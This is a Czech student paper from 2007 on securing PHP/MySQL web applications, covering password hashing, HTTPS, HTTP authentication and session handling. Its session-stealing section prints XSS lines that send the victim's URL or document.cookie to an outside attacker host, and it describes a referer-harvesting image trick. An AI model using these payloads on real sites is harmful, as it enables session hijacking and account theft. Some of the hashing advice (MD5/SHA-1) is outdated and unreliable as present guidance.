Středoškolská odborná činnost 2006/2007 Obor 10 – elektrotechnika, elektronika, telekomunikace a technická informatika
Zabezpečení webových aplikací
Autor:
Martin Šimeček SPŠ a VOŠ Písek, Karla Čapka 402, 397 11 Písek, 4. ročník
Konzultant práce: RNDr. Miroslav Procházka (SPŠ a VOŠ Písek)
Písek, 2006 Českobudějovický kraj
Prohlašuji tímto, že jsem soutěžní práci vypracoval samostatně pod vedením RNDr. Miroslava Procházky a uvedl v seznamu literatury veškerou použitou literaturu a další informační zdroje včetně internetu.
V Písku dne 10. 3. 2007
____________________ podpis
2
Anotace
1 Anotace S rozvojem internetu se zvětšuje i množství nejrůznějších dynamických webových stránek, přičemž se ovšem stále častěji zapomíná na zabezpečení. Cílem dokumentu je seznámit programátory webových aplikací se závažnými druhy útoků a zneužití jejich kódu a navrhnout účinná řešení. Zabývá se mimo jiné ochranou webové aplikace před útoky ze strany klienta (SQL Injection, Cross-Site Scripting...), zabezpečení soukromí uživatele - SSL šifrování (a jeho alternativy, pokud není dostupné), jeho pohyb po webu (session-stealing), ale i na první pohled neznatelnými děrami v podobě nechráněných souborů (Google hacking). Postupy, ukázky a hotová řešení jsou realizovány široce dostupným a oblíbeným jazykem PHP a databází MySQL. Teorie je doplněna názornými obrázky, příklady a přiloženou skutečnou aplikaci.
2 Obsah 1 2 3 4
Anotace Obsah Úvod Soukromí uživatele 4.1 Uchovávání informací o uživateli 4.1.1 Heslo a samotné přihlášení 4.1.2 MD5 4.1.3 SHA-1 4.2 Autentifikace uživatele 4.2.1 HTTPS a SSL 4.2.2 Alternativa 4.2.3 HTTP autentizace a .htaccess 4.2.4 HTTP Autentizace 4.3 Přenos informací o uživateli mezi stránkami 4.3.1 Session stealing 5 Vstupy 5.1 Vstupy do subsystémů 5.1.1 Lístkový systém 5.1.2 E-mailový formulář 5.1.3 SQL Injection 5.2 Řídící vstupy 5.2.1 Kontrola oprávnění 5.3 Obecně 6 Výstup 6.1 XSS 6.2 PHP Include Injection 7 Další metody 7.1 Logování (záznamy) 7.2 Ochrana proti spamu 7.2.1 Formulářový spam 7.2.2 E-mailový spam 7.3 Upload souborů 7.4 Google 8 Závěr - shrnutí 9 Použité zdroje a odkazy 10 Přílohy 10.1 Ukázkové aplikace 10.1.1 Zabezpečená 10.1.2 Nezabezpečná 10.2 Skripty
3 Úvod Uživatelsky orientovaný Internet, jak ho známe dnes, prošel rozsáhlým vývojem. Od původně zcela statických stránek, kde případná interakce s uživateli probíhala prostřednictvím e-mailu a jejichž aktualizace obnášela editaci příslušného HTML souboru na serveru (což mnohdy znamená soubor stáhnout, upravit a nahrát zpět). Až po dnešní rozsáhlé webové aplikace schraňující data desítek, stovek, tisíců a více uživatelů, zaměnitelné s desktopovým programem a reagující takřka okamžitě (technologie AJAX1). S přibývajícími možnostmi tvořit dynamické víceuživatelské weby se zároveň objevilo velké množství potenciálních bezpečnostních děr. A kupodivu se to netýká jen malých aplikací pro desítky návštěvníků. Z poslední doby (podzim 2006) mohu jmenovat například projekt pripojtese.cz [1] (XSS2) nebo takeit.cz [2] (SQL Injection2). Napadení se nevyhnul ani webzine Živě.cz [3] (XSS2). Na zabezpečení se tedy zapomíná. Přitom jeho zajištění není tak složité, jak by se mohlo zdát. Samozřejmě není možné poskytnout absolutní ochranu a zároveň uživatelskou přívětivost, ale je možné potenciálního útočníka zpomalit, ztížit mu snažení a zároveň neodradit uživatele. Tato práce se zaměřuje na používané útoky na webové aplikace a způsoby jejich eliminace. Zároveň nabízí jistý teoretický základ problematiky s odkazy na další zdroje. Záměrem bylo shrnout problém a navrhnout přijatelné řešení na jednom místě bez nutnosti procházet ohromné množství materiálů. Členění sleduje průchod uživatele aplikací - od registrace (uložení údajů), přes přihlášení, pohyb po webu, vkládání dat, až po jejich čtení. Následuje ochrana před ohrožením aplikace dalšími metodami (spamy, chybné inkluze apod.). Cílem je definovat základní bezpečností pravidla a postupy nejen pro začínající programátory, ale pro většinu vývojářů, která se s myšlenkou zabezpečení příliš nepotýkala. Větší přístupnosti odpovídá výběr použitých technologií - PHP a MySQL jsou velmi dostupné i na free webhostinzích, kde je může každý využívat zdarma (s jistými omezeními). Doplňuje je ještě JavaScript (jehož podpora je u nejpoužívanějších prohlížečů samozřejmá), který je stále používanější pro zpříjemnění práce s aplikacemi. Příležitostně využívanou technologií pak je nastavování Apache serveru a php.ini pomocí .htaccess. Z předchozího odstavce vyplývají i jisté vstupní znalosti potřebné k využití této práce. Patří mezi ně znalost syntaxe a přehled o základních konstruktech a funkcích HTML, PHP a JS, základní dotazy MySQL a jejich tvorba. Od věci není ani přehled o direktivách PHP a manipulaci s .htaccess.
1
Asynchronous JavaScript and XML - umožňuje zpracovávání požadavků uživatele bez opětovného stažení celé stránky (např. hlasování v anketě). Používá mj. Google mail. 2 Cross-site scripting, SQL Injection - formy útoku, budou rozebrány dále v textu.
4
Soukromí uživatele
4 Soukromí uživatele Ve víceuživatelských online aplikacích je třeba řešit několik základních úkonů: 1. uložení údajů 2. autentifikaci uživatele 3. přenos určitých informací o člověku mezi stránkami
4.1 Uchovávání informací o uživateli Hlavní síla dynamických webových aplikací je právě v práci s více uživateli. Nejčastěji probíhá tak, že člověk se zaregistruje, vybere si přihlašovací údaje (login a heslo) a případně vyplní doplňující informace o své osobě. Tato data jsou pak posléze k dispozici ostatním (např. kontakty na danou osobu) nebo je aplikace dál využívá (např. výběr země v online hře). Dostupnost databází (MySQL je již takřka standardem free webhostingů) přímo nabízí jejich použití za účelem uchování těchto údajů. Jsou optimalizované pro práci s daty a zároveň relativně chráněné před neautorizovaným přístupem (vynechme možnost prolomení přístupového hesla k databázi nebo SQL Injection a jiné zde popsané útoky). Co je v databázi, není neviditelné, proto je velmi nebezpečné ukládat hesla v čistém tvaru. Schopný útočník a „děravá“ aplikace mohou vést k získání kompletního obsahu tabulky uživatelů, odkud pak stačí jen přečíst přihlašovací údaje a zneužít je. Navíc nikdy nevíme, kdo všechno bude mít k databázi přístup a kdo se na data podívá. Není v lidských silách používat důsledně pro každý server jiné heslo, a tak někteří mají heslo jediné, jiní několik řetězců, které mezi sebou střídají... Znamená to, že jakmile kdokoliv získá přihlašovací údaje na jeden server, může je zkusit použít i na jiných - a většinou mu to i vyjde. Hlavní zásadou tedy je neukládat hesla v databázi v tzv. „čistém“ tvaru. Snažíme se zabránit jejich přečtení „pouhým okem“ a zároveň znesnadnit útok hrubou silou. PHP i MySQL nabízejí funkce k jednosměrnému zahashování řetězce některým z k tomu určených algoritmů - jsou jimi MD5() a SHA1(). Tyto funkce na vstupu přijmou text na jehož základě vytvoří hash konstatní délky (nezáleží tedy na délce původního řetězce). MySQL: SELECT MD5(″testing″); -> 'ae2b1fca515949e5d54fb22b8ed95575' PHP: md5(″test″); -> '098f6bcd4621d373cade4e832627b4f6' I kdyby někdo získal přístup ke kompletní tabulce uživatelů, uvidí nanejvýš hashe jejich hesel (jejichž zneužití je minimální, nicméně reálné). Větší úrovně zabezpečení dosáhneme například kombinací loginu, hesla a tajného řetězce. Do databáze uložíme takto vytvořenou proměnnou $hash: $tajny = ″Kx6oVQl54″; $hash = sha1($login.$heslo.$tajny); A při přihlášení pak znovu sestavíme tento řetězec pomocí údajů přijatých od uživatele a zkontrolujeme, zda $hash odpovídá údaji v databázi. Vyhneme se tak hned několika problémům: 1. I když budou mít dva uživatelé stejné heslo, jejich hashe se budou lišit - nelze tak pouhým pohledem na tabulku uživatelů zjistit, kdo má stejné heslo. 2. Souvisí s 1. - nemusíme vyžadovat jedinečná hesla (stačí uživatelská jména). Upozornění že „heslo již je použito, zvolte jiné“ je mimochodem ohromné bezpečnostní riziko, protože stačí jenom s daným řetězcem zkoušet přihlášení na různá jména a je otázkou času, kdy se to povede. 3. Přidáním jedinečného řetězce $tajny je zajištěno, že hash bude jedinečný nejen pro uživatele, ale i pro server (aplikaci) - je tedy velmi nepravděpodobné, že útočník najde v databázi jiné aplikace stejné hashe. 5
Soukromí uživatele Na závěr povídání o uložení hesel ještě není od věci zmínit lidský faktor. Uživatelé mají tendenci volit taková hesla, která se dají dobře zapamatovat - smysluplná slova, žádné speciální znaky, minimum čísel, nestřídání velkých a malých písmen... Většinou tedy stačí použít slovníkový útok nebo zaútočit „hrubou silou“. Na tvůrci aplikace je pak zvolit kompromis mezi komfortem uživatele a bezpečností. Používané mechanismy jsou: 1. vynutit minimální délku hesla (7-9 znaků je dostačující) 2. vynutit používání malých/velkých písmen, číslic a speciálních znaků 3. vynutit periodickou změnu hesla 4. umožnit kdykoliv heslo změnit 5. uzamknout účet po několika (5-10) neúspěšných pokusech o přihlášení a odemykat ho ručně nebo po určité době Jejich kombinaci je třeba zvážit dle charakteru aplikace. Body 4 a 2 jsou použitelné vždy, naopak 3 může vést k tomu, že si uživatel bude hesla zapisovat nebo volit co nejjednodušší a stanou se tak lépe dostupná. Zapomenuté heslo Dál je třeba myslet na situaci, kdy uživatel heslo zapomene. U menších aplikací není problém, aby rozesílání nových hesel řídil sám administrátor, nicméně je lepší celý postup zautomatizovat. Jako celkem bezpečná cesta se jeví odeslání dočasného hesla na e-mail uvedený při registraci (například formou odkazu, jehož bude parametrem). Vzhledem k tomu, že i e-maily jsou odchytitelné, musí mít toto jednorázové heslo omezenou platnost (v řádech hodin) a musí být okamžitě vyžádána jeho změna.
4.1.1
Heslo a samotné přihlášení
Vyžadujeme-li zvlášť velkou úroveň zabezpečení, můžeme si při přihlášení po uživateli vyžádat pouze některé ze znaků jeho hesla. Jejich výběr se mění pochopitelně náhodně a zabraňuje tak získání hesla použitím např. keyloggeru na potenciálně nebezpečné stanici (internetová kavárna nebo v podstatě jakýkoliv počítač mimo naši správu). Tento způsob účinně používají některé banky. Razantně ovšem snižuje uživatelskou přívětivost a je třeba jeho použití důkladně zvážit.
4.1.2
MD5
Tento algoritmus byl vyvinut profesorem Ronaldem L. Rivestem (z Massachusetts Institute of Technology) v roce 1991. Zkratka znamená Message-Digest Algorithm 5. Přijímá na vstupu řetězec libovolné délky a vytváří jeho 128-bitový hash. Dříve se předpokládalo, že je neproveditelné počítačově vytvořit dva řetězce mající stejný hash nebo vytvořit jakýkoliv text mající předem určený hash. Při tvorbě hashe se používají mimo jiné bitové rotace a logické funkce a celá operace je jednosměrná – není tedy možné použít reverzní způsob k získání původního řetězce. Algoritmus MD5 je určen pro digitální podepisování, kde musí být velký soubor „zkomprimován“ z důvodu bezpečnosti, než je zašifrován privátním klíčem v public-key šiforvacích systémech (jako např. RSA). Používá se i jako způsob k ověření integrity dat nebo ukládání hesel. [12] V roce 1996 byla objevena vada v návrhu MD5, a i když nebyla zásadní, kryptologové začali raději doporučovat jiné algoritmy, jako je například SHA-1 (i když ani ten již dnes není považován za bezchybný). V roce 2004 byly nalezeny daleko větší chyby a od použití MD5 v bezpečnostních aplikacích se upouští. [11] Funkce pro jeho použití jsou implementovány v mnoha programovacích jazycích (seznam viz [12]).
6
Soukromí uživatele
4.1.3
SHA-1
Algoritmus byl specifikován v roce 1995 Americkým Národním úřadem pro bezpečnost (NSA) a je postaven na stejných principech jako MD5. Generuje 160 bitový (40 znaků) hash z řetězce o maximální délce 264 – 1 bitů. [18] uvádí následující příklad: SHA1("The quick brown fox jumps over the lazy dog") = 2fd4e1c6 7a2d28fc ed849ee1 bb76e739 1b93eb12 Bezpečnost byla zpochybněna, když se v roce 2005 podařil útok schopný získat kolizní řetězec za méně než 269 operací (pro hrubou sílu je potřeba 280 operací). [19] Pokročilejší variantou jsou algoritmy sdružené do skupiny SHA-2. Produkují delší hashe – délka (v bitech) se odráží v jejich názvech: SHA-256, SHA-224, SHA-384 a SHA-512. U těchto ještě nebyly detekovány kolize.
4.2 Autentifikace uživatele Než může aplikace s uživatelem komunikovat, a otevřít mu např. přístup k části webu pro registrované, musí ověřit jeho totožnost. Existuje několik způsobů - my se vyhneme biometrickým čidlům a identifikačním kartám a použijeme oblíbené zadání jména (loginu) a hesla. Zaslaný login a heslo jsou porovnány s údaji v tabulce uživatelů a pokud dojde ke shodě, je osoba „vpuštěna“. Máme dvě možnosti, jak kýžené údaje vyžádat: • formulářové přihlášení - používají podkapitoly 4.2.1 a 4.2.2 - Klient pošle přihlašovací data jen jednou a následně používá pouze id relace (session), která mu přísluší. Aplikace si tak může sama zajišťovat odhlášení uživatele (cílené nebo timeout). - Samozřejmostí by mělo být používat pro zadání hesla pole typu password a jeho nevyplňování předem. - Metodou pro odeslání formuláře by měla být výhradně POST. Při použití GET jsou údaje jednoduše čitelné a zůstavají v historii prohlížeče. • HTTP přihlášení, využívající možností protokolu - viz podkapitola 4.2.3 Úskalím je v tomto kroku posílání zadaných informací po síti mezi prohlížečem a serverem. V nezašifrované podobě je heslo velmi jednoduše odchytitelné, proto je třeba ho upravit.
4.2.1
HTTPS a SSL
Adresa stránky zabezpečené protokolem SSL (tedy s šifrovaným spojením) začíná https://. Mnohdy je zabezpeční indikováno prohlížečem (Opera v adresním řádku - obr. 1, Internet Explorer ve stavovém). Obr. 1 Upozornění na zabezpečnou stránku - Opera Standardní port pro komunikaci přes HTTPS/SSL je 443, standardní port HTTP je 80. [5]
7
Soukromí uživatele
Obr. 2 SSL certifiát v IE
Obr. 3 SSL certifikát v Opeře Protokol SSL zajišťuje bezpečné spojení mezi dvěma komunikujícími uzly. Jakmile se vymění bezpečné klíče, dochází k symetrickému šifrování. Takové spojení je navíc spolehlivé, protože přenos zprávy obsahuje kontrolu integrity dat prostřednictvím MAC (Message Authentication Code). [5] Průběh ustavení SSL spojení [6]: • Klient pošle serveru požadavek na SSL spojení, spolu s různými doplňujícími informacemi (verze SSL, nastavení šifrování atd.). • Server pošle klientovi odpověď na jeho požadavek, která obsahuje stejný typ informací a hlavně certifikát serveru. • Podle přijatého certifikátu si klient ověří autentičnost serveru. Certifikát také obsahuje veřejný klíč serveru. • Na základě dosud obdržených informací vygeneruje klient základ šifrovacího klíče, kterým se bude kódovat následná komunikace. Ten zakóduje veřejným klíčem serveru a pošle mu ho. 8
Soukromí uživatele • • • •
Server použije svůj soukromý klíč k rozšifrování základu šifrovacího klíče. Z tohoto základu vygenerují jak server, tak klient hlavní šifrovací klíč. Klient a server si navzájem potvrdí, že od teď bude jejich komunikace šifrovaná tímto klíčem. Fáze „handshake“ tímto končí. Je ustaveno zabezpečené spojení šifrované vygenerovaným šifrovacím klíčem. Aplikace od teď dál komunikují přes šifrované spojení. Například POST požadavek na server se do této doby neodešle.
Díky této provázanosti klienta a serveru není možné komunikaci úspěšně odposlechnout ani do ní zasáhnout (MITM - man in the middle - člověk uprostřed komunikační cesty). Útočník by musel vytvořit vlastní pár veřejný/soukromý klíč a prostřednictvím něj komunikovat s klientem, ale na to by upozornil prohlížeč (“Certifikát je podepsán neznámou certifikační autoritou”). HTTPS se používá jako cílová stránka odeslání požadavku. Je samozřejmě možné provozovat celé stránky výhradně na HTTPS, ale protože většinou přesouváme citlivá data jen při konkrétních operacích (přihlášení, změna údajů, bankovní transakce apod.) je to zbytečně zpomalující. Ještě k certifikátům. Jedná se vlastně o digitálně podepsané veřejné klíče vydané buď certifikační autoritou (CA) - potom jsou v prohlížeči zobrazeny jako důvěryhodné, je-li daná autorita prohlížeči známa - nebo vlastní, u kterých bude uživatel upozorněn, že certifikát není důvěryhodný (Obr. 4)3.
Obr. 4 Upozornění na nedůvěryhodný certifikát - IE a Opera Každý prohlížeč má uložen seznam důvěryhodných CA (Obr. 5). Často se stává, že browser sice zobrazí upozornění, ale uživatel jej ignoruje a klepnutím na „Pokračovat“ ustaví potenciálně nebezpečné SSL spojení. Nehledě na fakt, že ani certifikační společnosti nejsou neomylné. Je znám případ, kdy byl zkompromitován certifikát společnosti Microsoft a to přímo u VeriSignu, jedné z nejznámějších CA [9].
3
IE 7 je v tomto ohledu ještě restriktivnější a nahrazuje žádanou stránku svou s upozorněním, že spojení není bezpečné. Uživatel pak musí potvrdit, že souhlasí kliknutím na odkaz cíle.
9
Soukromí uživatele
Obr. 5 Seznam CA - Opera Další nebezpečí představuje podvržení certifikátu s podobným doménovým jménem. Útočník si může zaregistrovat doménu www.nasebanka.cz a imitovat tak stránku www.nase-banka.cz. Pokud by byl důsledný, přiláká nic netušícího uživatele, ukáže mu totožnou stránku s přihlášením, jako na originální nase-banka.cz a dokonce mu podvrhne (svůj) certifikát vázaný na nasebanka.cz. Přehlédnout to je v tomto případě tak jednoduché... Shrnuto do několika vět, HTTPS je technologicky velmi bezpečný způsob, jak provozovat neodposlechnutelný kanál, který ovšem může být nevhodně použit. Podporuje-li ho náš hostingový server, není lepšího způsobu pro zabezpečení přihlášení uživatele.
4.2.2
Alternativa
Pokud z nějakého důvodu nelze použít HTTPS (například jej nepodporuje hosting), můžeme se pokusit ho nahradit. Použitím metody salting4 získáme hash hesla posílaný po síti s platností na jedno použití. Postup je následující: 1. Při zobrazení přihlašovacího formuláře vygeneruje server náhodnou sekvenci - token, kterou uloží do session a zároveň odešle klientovi. 2. Klient použije JavaScript a nejprve zahashuje do md5 (sha1) zadané heslo a následně tento řetězec spojí s tokenem a vytvoří nový hash, který se již odešle s formulářem. 3. Server zná heslo uživatele i token, takže jen provede stejný sled kroků jako klient vytáhne z databáze hash hesla příslušného loginu a spojí ho s tokenem ve výsledný md5 (sha1) hash. 4. Nyní stačí jen porovnat přijaté heslo s vytvořeným. Pokud je platné, vygeneruje se nové id relace (funkce session_regenerate_id() ) a smaže se token (unset($_SESSION['token']) ). Tím je zajištěna jednorázovost řetězce. I kdyby útočník zachytil posílané údaje (tedy hash hesla, token a session id), není schopen tyto údaje použít, protože v danou chvíli už neplatí. Výjimkou je technika Man in the middle, jejíž provedení je ale mnohem složitější a nestačí pouze odchytit pakety.
4
Tajný řetězec „přisolíme“ jiným – například náhodně vygenerovaným číslem (= salt) a toto spojení předáme hashovací funkci. K získání původního textu je tedy nutné znát i salt. Salting podstatně ztěžuje slovníkový útok a každý bit saltu navíc zdvojnásobuje výpočetní čas nutný pro prolomení. [16]
10
Soukromí uživatele Ukázka JS funkce, která zajišťuje generování jednorázového hashe: function SecureLogin(login_form) { /* Předpoklady: - formulář s - vygenerovaný token v poli 'token' - includovaný soubor 'sha1.js' Použití: - vkládá se do onsubmit události formuláře - parametrem je document.[název formuláře] */ passw = hex_sha1(login_form.pass.value); sec_pass = hex_sha1(passw+login_form.token.value); login_form.pass.value = sec_pass; } Na získání SHA1 hashe používám skript z [14] poskytující funkci hex_sha1. PHP funkce zajišťující kontrolu přihlášení: /* Generuje nový token. Použije se ve formuláři k umístění do vlastnosti value pole ‚token‘ */ function TokenGenerate() { for ($i = 0; $i < 8; $i++) { $token .= rand(0,9); } $_SESSION['token'] = $token; return $token; } /* Kontroluje, zda souhlasí poslané heslo s databází. Nálsedně ošetřuje jednorázovost. */ function SafeLoginCheck($realpass,$sentpass) { if (sha1($realpass.$_SESSION['token']) == $sentpass) { unset($_SESSION['token']); session_regenerate_id(); return true; } else return false; }
Obr. 6 Paket se zahashovaným heslem
11
Soukromí uživatele Nevýhodou tohoto postupu je pochopitelně fakt, že uživatel musí mít JS aktivovaný v prohlížeči. Pokud tomu tak nebude, aplikace by měla umožnit přihlášení i bez něho a uživatele na to upozornit.
4.2.3
HTTP autentizace a .htaccess
Výše zmíněná řešení počítala se zpracováním $_POST požadavku přes PHP a následným ověřením v databázi. Existuje však ještě jeden velmi silný způsob ověření výborně použitelný zvlášť v případě, že máme pevně danou sestavu uživatelů (nebo se nečekají rozsáhlé změny, přidávání, mazání, apod...). Je jím HTTP autentizace pomocí .htaccess a .htpasswd dostupných v Apache web serveru [7]. Jak to 1. 2. 3.
probíhá? Prohlížeč vyžádá zabezpečenou stránku Webový server odpoví „401 Unauthorized“ a odešle hlavičku „WWW-Authenticate“ Prohlížeč se zeptá na jméno a heslo (Obr. 7 Autentizace v IE a Obr. 8 Autentizace v Opeře) 4. Prohlížeč vyžádá chráněnou stránku a přiloží přihlašovací údaje 5. Pokud jsou informace správné, odpoví server chráněnou stránkou, jinak vrátí „401 Authorisation required“
V praxi to vypadá tak, že určíme umístění souboru .htpasswd (z bezpečnostních důvodů by bylo lepší jej uložit nad hlavní složku našeho webu, aby nebyl zjistitelný výpisem souborů, ale to mnohdy - například na freehostingu - není možné) a jeho název (nemusí být nutně .htpasswd). Dále zvolíme název sekce, který se objeví v přihlašovacím okénku a typ autentizace. Vše uložíme do souboru .htaccess ve složce, kterou chceme chránit. AuthUserFile /absolutní cesta/.htpasswd AuthGroupFile /dev/null AuthName "Název sekce" AuthType Basic Require valid-user AuthUserFile: cesta k souboru s hesly AuthGroupFile: cesta k souboru s uživatelskými skupinami - v tomto případě se nepoužívá AuthName: identifikace zabezpečené sekce AuthType: použitá metoda Require: vyžadovaný uživatel - valid-user v tomto případě znamená kohokoliv z definovaného .htpasswd souboru K definování uživatelů v .htpasswd je možné použít utilitu htpasswd dodávanou k Apachi, nebo je zadat ručně, přičemž je třeba mít na paměti, že hesla musejí být zašifrována (PHP funkcí crypt(heslo) a to až na serveru, na němž bude zabezpečení použito - každý server šifruje jinak). Výsledný .htpasswd vypadá pak takto: uživatel1:zašifrované_heslo1 uživatel2:zašifrované_heslo2 uživatel3:zašifrované_heslo3
12
Soukromí uživatele Jakmile se uživatel pokusí přistoupit do zabezpečené složky, objeví se mu takovéto okno vyžadující zadání jména a hesla:
Obr. 7 Autentizace v IE
Obr. 8 Autentizace v Opeře Problémem u tohoto postupu je rychlost. Server musí kontrolovat uživatele při každém požadavku na zabezpečený dokument, obrázek v zabezpečené složce, atd... Znamená to projet řádek po řádku soubor .htpasswd a najít uživatelské jméno a zkontrolovat heslo. Při větší délce souboru s hesly to znamená značné zpomalení. Další nevýhodou je fakt, že tento způsob neumí logout, tedy odhlášení uživatele, a přihlašovací údaje se posílají neustále až do zavření okna prohlížeče. Dokumentace k Apache serveru doporučuje místo .htaccess použít direktivu v http.conf. Postup je podobný. Více v manuálu [8]. Na závěr je třeba ještě podotknout, že přihlašovací údaje jsou mezi prohlížečem a serverem přenášeny v čisté podobě (použijeme-li AuthType Basic5 - viz Obr. 9), resp. zakódované jednoduchým base64. A vzhledem k tomu, že se údaje přenášejí s každým požadavkem, je
5
Další možností (bezpečnější) je AuthType Digest. Je podporován v PHP od verze 5.1.0, jeho zpracování je složitější a je popsáno v manuálu [13].
13
Soukromí uživatele mnohem jednodušší je zachytit. Použití HTTPS v tomto případě způsobí značný pokles výkonu (neustálá výměna certifikátů při každém požadavku).
Obr. 9 - Basic autorizace .htaccess a jméno a heslo v čistém tvaru
4.2.4
HTTP Autentizace
Je alternativou k ověření uživatele poskytovaným Apache serverem a liší se v tom, že zadaná data zpracovává přímo naše aplikace, takže máme širší možnosti manipulace. Jednoduchý příklad v PHP [13]: Hello {$_SERVER['PHP_AUTH_USER']}."; echo "
You entered {$_SERVER['PHP_AUTH_PW']} as your password.
"; } ?> Zjistí, jestli je uživatel přihlášen. Pokud není, odešle prohlížeči hlavičku s žádostí o zobrazení přihlašovacího okýnka, které ponese název „My Realm“ a zároveň upozorní, že není přihlášeno (401 Unauthorized). Kliknutím na Storno se zobrazí echo text, OK naopak vyvolá tutéž stránku (skript), ale už budou vyplněné proměnné PHP_AUTH_USER, PHP_AUTH_PW, a AUTH_TYPE (pro jméno, heslo a typ přihlášení), s kterými se pak dál může pracovat. Platí totéž, co pro omezenějšího bratříčka popsaného výše - přihlašovací údaje se posílají na každou stránku až do uzavření okna prohlížeče6.
4.3 Přenos informací o uživateli mezi stránkami Jakmile je osoba programem rozpoznána, je žádoucí tento stav i zachovat a tím tedy např. dovolit přístup k neveřejným částem webu. Protokol HTTP je bezstavový, takže předané přihlašovací údaje po odeslání formuláře „zapomene“. Ukládání jména a hesla (případně úrovně oprávnění a dalších…) do cookies nebo posílání coby parametr adresy není bezpečné není totiž problém je změnit, případně zachytit - proto se používají relace (sessions). Server vygeneruje jednoznačné session id (identifikátor relace), které klient obdrží a následně předává s každým požadavkem. Server pak jen porovná sessid se svou databází relací a klienta „pozná“.
Session id by mělo být dle [27] nesnadno odhadnutelné a dostatečně dlouhé, aby se předešlo útoku hrubou silou (zkoušení různých řetezců dokud nebude zvolen správný). Proto jej představuje nejčastěji MD5 hash. Je uložen do proměnné PHPSESSID (SID, SESSID... záleží na nastavení session.name v php.ini) a předává se dvěma způsoby - v cookie nebo jako parametr URL. Cookies jsou doporučeny, ale PHP umožňuje obě varianty, protože ne vždy je podpora 6
Internet Explorer a Netscape mažou lokální cache okna při obdržení kódu 401 od serveru. Dá se toho využít pro odhlášení uživatele.
14
Soukromí uživatele cookies aktivována v prohlížeči. Zároveň dokáže PHP i automaticky přidávat phpsessid ke každé relativní URI (volba session.use_trans_sid v php.ini), takže není nutné ručně přepisovat odkazy a přidávat k nim konstantu SID (zajišťující vložení sessid) v případě vypnutých cookies. [15] Použití cookies se dá dokonce vynutit (session.use_only_cookies). Je to bezpečnější způsob, protože tolik nehrozí session stealing popsaný níže. V PHP se pro vytvoření realce používá funkce session_start(). Měla by předcházet jakémukoliv výstupu. Dále je automaticky vytvořeno superglobální pole $_SESSION, do něhož můžeme uložit libovolné proměnné (např. id uživatele, jeho oprávnění apod...) a to jejich prostým přiřazením. $_SESSION['level'] = 1 Pokud nejsou použity neperzistentní cookies (které prohlížeč ukládá pouze v RAM a jsou tedy ztraceny s uzavřením jeho okna), je rizikem uzavření okna prohlížeče bez ručního odhlášení z aplikace. Tím by na počítači zůstala otevřená session s nastaveným přihlášením a přistupovými oprávněními. Session mechanismus proto kontroluje prodlevu od posledního požadavku uživatele na server, a jestliže tato překročí danou mez, dojde k automatickému zrušení session. Toto chování může být i nepříjemné. Pokud uživatel píše dlouhý příspěvek (např. e-mail) a vyprší mu před odesláním relace, objeví se místo odeslání zprávy přihlašovací formulář. Pracně napsaný text je pak ztracen. Aplikace by tedy měla rozepsaná data dočasně uložit a po opětovném přihlášení uživatele je obnovit. Další použitelnou funkcí je session_regenerate_id(). Je dobré ji volat po úspěšném přihlášení do aplikace, protože nahradí stávající session id nově vygenerovaným. Stávající identifikátor tak přestává být platný a je útočníkovi k ničemu.
4.3.1
Session stealing
Je důležité si uvědomit, že samotný mechanismus session v sobě nemá zabudouvanou žádnou ochranu (např. vázání relace na IP adresu, salting, apod…). Pokud tedy používáme relace tak, jak jsou (což je na freehostingu celkem běžné), je jedinou podmínkou přístupu k relaci znát její session id. Hlavním cílem útoku je tedy jeho získání. Na programátorovi je zajistit odpovídající zabezpečení. Jakmile je relace zkompromitována, má útočník dočasný přístup k uživatelskému účtu. Pokud změní přístupové údaje (heslo, e-mail...), získá tak přístup trvalý, nicméně jen zdánlivě - oběť si změny všimne při prvním pokusu o přihlášení a patrně ji nahlásí. Využívá-li se pro přihlášení (nebo pro případ zapomenutého hesla) metody otázka-odpověď („Jméno matky za svobodna?“, „Oblíbené jídlo?“ apod...), je přístup trvalý i beze změn (dokud je neprovede sama oběť). [24] Ke zjištění sessid se používá několik způsobů. Přímému odečtení z monitoru by měla zabránit složitost a délka identifikátoru relace, odchycení (sniffu) nezabráníme nijak, ale je to specifický útok vyžadující, aby byl útočník s obětí na stejné síti (nebo měl zkrátka možnost odposlechnout její pakety). V dalším textu se ovšem zaměříme na vzdálené získání id. O těchto způsobech pojednává [10] a jsou to: Získání session – PHP Nejjednodušším způsobem je podstrčit přihlášené oběti odkaz na web. Útočník jej vloží například na webový chat, naivní oběť klikne, prohlížeč předá skriptu referer7 a skript jej zpracuje (z proměnné $_SERVER['HTTP_REFERRER'] vyčte kompletní URL a tedy i id relace pokud je předáváno jako parametr metodou GET), čímž má útočník přístup k relaci. Tento 7
Neboli adresu, z které oběť přišla.
15
Soukromí uživatele postup vyžaduje akci uživatele a neošetření ze strany serveru. Obranou je totiž přesměrování. Nepouštět všechny odkazy mimo web přímo, ale redirectovat přes další skript nevyžadující přihlášení (nejlépe v novém okně), který odstraní session id a změní referer. Referer se dá získat i bez účasti oběti. Pokud aplikace dovoluje např. vkládat obrázky, dá se snadno zneužít faktu, že referer se posílá i s požadavkem na obrázek. Vložíme tedy obrázek, jehož zdrojem bude náš skript, s width i height = 0 (nebo libovolný vygenerovaný / podstrčený pomocí GD knihovny v PHP). Získání session – JavaScript Je-li dovoleno interpretovat HTML kód, není nic jednoduššího než použít XSS (kap. 6.1) a JavaScriptem přesměrovat na útočnický skript… document.location='http://web.cz/skript.php?url='+document.location; … nebo otevřít v novém okně: window.open('http://web.cz/skript.php?url=' + document.location,'okno'); Cíl tak dostane adresu právě otevřeného okna (document.location). Používá-li aplikace cookies, nabízí JS další objekt - document.cookie. Tím lze zjistit obsah celé cookie (jak ukazuje Obr. 10) a dále ho zpracovat. Stačí jen oběti podstrčit odkaz se správným kódem v parametru.
Obr. 10 Obsah cookie vypsaný pomocí XSS Kód pro ukradení cookie by pak vypadal třeba takto: <script>document.location='http://ciziweb.cz/?h='+document.cookie;
Řešení Jistou ochranu relace představuje vázat její identifikátor na klienta. Tedy omezit přístup k ní na jeho IP adresu, prohlížeč, referer... Bohužel, IP adresa není jednoznačným určitelem klienta (mnoho uživatelů je dnes skryto za jednou adresou poskytovatele, přes kterou přistupují do internetu), navíc se může během komunikace změnit, a proto může dojít k občasné nepřístupnosti aplikace. Kontrola refereru se zavádí z důvodu zajištění, že požadavek pochází opravdu z našeho webu a ne např. z localhostu útočníka. Není ale absolutní. Referer se vytváří na straně klienta a dá se tedy modifikovat, některé proxy ho filtrují kvůli zajištění soukromí a prohlížeče umožňují vypnout jeho odesílání. Lepší je proto zaměřit se na prevenci samotné krádeže sessid. Úzce s tím souvisí Cross-Site Scripting (XSS), který je popsán v kapitole 6.1. Tam jsou také navrženy metody jeho zabránění.
16
Vstupy
